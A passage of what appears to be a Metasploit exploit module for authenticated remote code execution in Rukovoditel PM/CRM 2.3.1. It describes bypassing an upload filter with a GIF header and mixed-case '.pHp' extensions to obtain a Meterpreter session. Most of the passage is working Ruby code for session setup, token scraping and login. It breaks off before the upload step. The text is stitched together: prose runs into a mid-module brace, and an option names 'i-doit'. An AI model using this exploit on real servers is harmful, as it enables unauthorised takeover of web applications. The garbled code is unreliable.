Application allows the user to upload a background image, and does not perform extension checking exactly. Application agrees to upload if "gif" file header is added to the header of our payload file. However, many file types do not have permission to work. ".htaccess" is blocking that. it has file extension check as follows, There is no upper and lower case control. Therefore, the extension of our file can be .pHp .Php .PhP and such. The module is uploading by create a payload as above to get Meterpreter session. }, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://pentest.com.tr/exploits/Rukovoditel-Project-Management-CRM-2-3-1-Authenticated-Remote-Code-Execution.html'], ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Rukovoditel PM/CRM <= 2.3.1', {}] ], 'DisclosureDate' => '14 Dec 2018', 'Privileged' => false, 'DefaultTarget' => 0 ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to i-doit', '/']), OptString.new('USER', [true, 'User to login with', 'admin']), OptString.new('PASS', [true, 'Password to login with', 'password']), ], self.class) end ## # Exploitation of Vulnerability ## def exploit random_value = Rex::Text.rand_text_alpha(10) sid_md5 = Digest::MD5.hexdigest random_value print_status("sid = #{sid_md5}") cookie = "cookie_test=please_accept_for_session;" + " sid=" + sid_md5 res1 = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri, "/index.php?module=users/login"), 'cookie' => cookie, }) if not (res1 and res1.body =~ /form_session_token\" value=\"([^\"]+)\"/) return nil end token = $1 ## # Authorized User Login ## res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, "/index.php?module=users/login&action=login"), 'cookie' => cookie, 'vars_post' => { "form_session_token" => token, "username" => datastore['USER'], "password" => datastore['PASS'] } }) ## # Login Control ## tok = send_request_cgi({ 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "/index.php?module=dashboard/"), }) html = tok.body if html =~ /Rukovoditel/ print_good("Login Successful") else print_status("User information is incorrect.
